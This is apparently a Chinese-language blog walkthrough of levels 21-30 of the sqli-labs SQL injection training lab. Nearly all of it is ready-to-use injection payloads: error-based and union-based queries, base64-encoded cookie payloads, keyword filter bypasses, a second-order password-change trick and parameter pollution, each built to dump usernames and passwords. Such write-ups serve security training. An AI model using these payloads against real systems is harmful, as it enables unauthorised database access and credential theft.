sqli-libs通关教程(21-30)

第二十一关

第二十一关 同二十关 为HTTP头部注入中对Cookie注⼊值的注入

登录一下

进行抓包 语句写入Cookie值中,但我们发现uname进行了加密,采用base64加密,我们的sql注入语句也要使用加密后的 Base64 在线编码解码 | Base64 加密解密 - Base64.us

也可在浏览器器中进行注入(按F12 应用程序或存储中可找到)

尝试闭合,闭合符号也要经过转码 发现闭合符号为') --> Jyk= ')# --> Jykj

查询数据库

') or (updatexml(1,concat(1,database()),1))#

Jykgb3IgKHVwZGF0ZXhtbCgxLGNvbmNhdCgxLGRhdGFiYXNlKCkpLDEpKSM=

获取表名

') or (updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),1)) #

Jykgb3IgKHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSksMSkpICM=

获取字段名

') or (updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),1)) #

Jykgb3IgKHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKWZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScgYW5kIHRhYmxlX25hbWU9J3VzZXJzJykpLDEpKSAj

获取username具体值

') or (updatexml(1,concat(1,(select group_concat(username)from(select username from users)a)),1)) #

Jykgb3IgKHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKWZyb20oc2VsZWN0IHVzZXJuYW1lIGZyb20gdXNlcnMpYSkpLDEpKSAj

获取password的具体值

') or (updatexml(1,concat(1,(select group_concat(password)from(select password from users)a)),1)) #

Jykgb3IgKHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHBhc3N3b3JkKWZyb20oc2VsZWN0IHBhc3N3b3JkIGZyb20gdXNlcnMpYSkpLDEpKSAj

获取第一条username和password的所有值

') or (updatexml(1,concat(1,(select group_concat(username,'~',password)from(select username,password from users limit 0,1 )a)),1)) #

Jykgb3IgKHVwZGF0ZXhtbCgxLGNvbmNhdCgxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCd+JyxwYXNzd29yZClmcm9tKHNlbGVjdCB1c2VybmFtZSxwYXNzd29yZCBmcm9tIHVzZXJzIGxpbWl0IDAsMSApYSkpLDEpKSAj

第二十二关

同上一关,闭合符号改为了 " 对应的语句也需要重新编码

查询数据库

" or (updatexml(1,concat(1,database()),1))#

IiBvciAodXBkYXRleG1sKDEsY29uY2F0KDEsZGF0YWJhc2UoKSksMSkpIw==

获取表名

" or (updatexml(1,concat(1,(select group_concat(table_name)from information_schema.tables where table_schema='security')),1)) #

IiBvciAodXBkYXRleG1sKDEsY29uY2F0KDEsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSlmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScpKSwxKSkgIw==

获取字段名

" or (updatexml(1,concat(1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')),1)) #

IiBvciAodXBkYXRleG1sKDEsY29uY2F0KDEsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyBhbmQgdGFibGVfbmFtZT0ndXNlcnMnKSksMSkpICM=

获取username具体值

" or (updatexml(1,concat(1,(select group_concat(username)from(select username from users)a)),1)) #

IiBvciAodXBkYXRleG1sKDEsY29uY2F0KDEsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUpZnJvbShzZWxlY3QgdXNlcm5hbWUgZnJvbSB1c2VycylhKSksMSkpICM=

获取password的具体值

" or (updatexml(1,concat(1,(select group_concat(password)from(select password from users)a)),1)) #

IiBvciAodXBkYXRleG1sKDEsY29uY2F0KDEsKHNlbGVjdCBncm91cF9jb25jYXQocGFzc3dvcmQpZnJvbShzZWxlY3QgcGFzc3dvcmQgZnJvbSB1c2VycylhKSksMSkpICM=

获取第一条username和password的所有值

" or (updatexml(1,concat(1,(select group_concat(username,'~',password)from(select username,password from users limit 0,1 )a)),1)) #

IiBvciAodXBkYXRleG1sKDEsY29uY2F0KDEsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUsJ34nLHBhc3N3b3JkKWZyb20oc2VsZWN0IHVzZXJuYW1lLHBhc3N3b3JkIGZyb20gdXNlcnMgbGltaXQgMCwxIClhKSksMSkpICM=

第二十三关

尝试闭合' 但#和--+都无法闭合

选择' or ' 闭合,闭合成功

接下来的步骤同之前

?id=1' order by 1 or '

?id=1' order by 4 or ' 出现错误,说明有3个字段

?id=-1' union select 1,2,3 or ' 查看回显位

?id=-1' union select 1,database(),3 or ' 得出数据库的名字

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' or ' 得到库中的所有表

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' or ' 得到表中的字段

?id=-1' union select 1,group_concat(id,'~',username,'~',password),3 from users or '得到具体信息

第二十四关

本关的要求不是找到数据库,是修改其他用户的密码

我们先注册一个test账户,密码为123

登录 可以看到登录后我们进入的是修改密码的页面

点击logout退回去,再新建一个用户为test'# 密码为123456

登录test'#账户 修改密码为111

再登录时发现test的密码不是原本的123了 而是刚才修改的test'#账户的密码111

利用同名加 '# 来修改原本账户的密码,这就是本关的漏洞

第二十五关

本关过滤了and、or,可以用||、|代替,或者双写绕过anandd、oorr

?id=1' oorrder by 1 --+

?id=1' oorrder by 4 --+ 出现错误,说明有3个字段

?id=-1' union select 1,2,3 --+ 查看回显位

?id=-1' union select 1,database(),3 --+ 得出数据库的名字

?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' --+ 得到库中的所有表

?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='users' --+ 得到表中的字段

?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema='security' aandnd table_name='users' --+ 得到表中的字段

?id=-1' union select 1,group_concat(id,'~',username,'~',passwoorrd),3 from users --+得到具体信息

第二十五a关

是数字型, 语句同上关,不需要闭合id的单引号

第二十六关

本关禁用了空格、and和or

1.获取数据库名

?id=1' ||updatexml(1,concat(1,database()),3)|| '

2.获取数据库表名

?id=1'||(updatexml(1,concat(1,(select(group_concat(table_name))from (infoorrmation_schema.tables)where(table_schema='security'))),1))||'

3.获取字段名

?id=1'||(updatexml(1,concat(1,(select(group_concat(column_name))from (infoorrmation_schema.columns)where(table_schema='security'aandnd

(table_name='users')))),1))||'

4.获取用户名和密码

?id=1'||(updatexml(1,concat(1,(select(group_concat(id,'',username,'',passwoorrd))from( users))),3))||'

第二十六关a

条件同上关,通过括号进行闭合,但不能使用报错注入

?id=1')oorr('1')=('1

尝试后面的语句,报错告诉我们是布尔型,也就是需要布尔盲注

第二十七关

没有过滤and和or,过滤了空格,select和union,我们可以大小写绕过以及重写绕过 %0a

?id=0'%0Aununionion%0ASElect%0A1,2,3%0Aor%0A' 查看回显位

?id=0'%0Auunionnion%0ASElect%0A1,database(),3%0Aor ' 得出数据库的名字

?id=0'%0Aunion%0Aselect%0A1,group_concat(table_name),3%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Aor%0A' 得到库中的所有表

?id=0'%0Auunionnion%0ASElect%0A1,group_concat(column_name),3%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aor%0A' 得到表中的字段

?id=0'%0Auunionnion%0ASElect%0A1,group_concat(id,'~',username,'~',password),3%0Afrom%0Ausers%0Aor%0A' 得到具体信息

第二十七关a

条件同上关,通过双引号进行闭合 末尾加;%00闭合

?id=1"%0Aand%0A1=1;%00 闭合

?id=0"%0auNIon%0aSelECt%0a1,2,3;%00 回显

?id=0"%0AuNIon%0ASelECt%0A1,database(),3;%0A%00 数据库

?id=0"%0auNIon%0aSelECt%0a1,2,(selECt%0agroup_concat(username,'~',password)%0afrom%0ausers);%00 全部数据

第二十八关

过滤union select整体,整体双写即可 闭合符号 ')

?id=0%27)%0aunion%0aseunion%0aselectlect%0a1,2,3;%00

?id=0')%0Aunion%0aseunion%0aselectlect%0A1,database(),3;%0A%00

其余同上关,将 闭合符号 ') 和union select --> union%0aseunion%0aselectlect进行替换就行

第二十八关a

同上关,只过滤union select,上关代码直接拿来用

第二十九关

会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。

?id=1&id=0'union select 1,2,3--+

?id=1&id=0' union select 1,database(),3 --+

?id=1&id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

?id=1&id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

?id=1&id=0' union select 1,group_concat(id,'~',username,'~',password),3 from users --+

第三十关

同上,闭合符号为 " ,上关代码只需替换闭合就可以直接用

相关推荐
半部论语11 分钟前
Spring **${}** vs **#{}** 语法全景图
java·数据库·spring boot·后端·spring
不辉放弃1 小时前
Apache Spark 的结构化流
大数据·数据库·pyspark·伪实时
茉莉玫瑰花茶2 小时前
Redis 常用数据结构以及单线程模型
数据库·redis·缓存·bootstrap
废喵喵呜2 小时前
达梦数据库权限体系详解:系统权限与对象权限
数据库·sql·oracle
冷崖3 小时前
Redis存储原理与数据模型(下)
数据库·redis·缓存
没有羊的王K3 小时前
SQL语言学习(group by,having)
数据库·sql·学习
ClouGence3 小时前
从达梦到 StarRocks:国产数据库实时入仓实践
数据库·后端
2025年一定要上岸4 小时前
【Django】-10- 单元测试和集成测试(下)
数据库·后端·python·单元测试·django·集成测试
黑客思维者4 小时前
芯片后门安全分析与防御
安全·网络安全·芯片后面技术·a2攻击·后面检测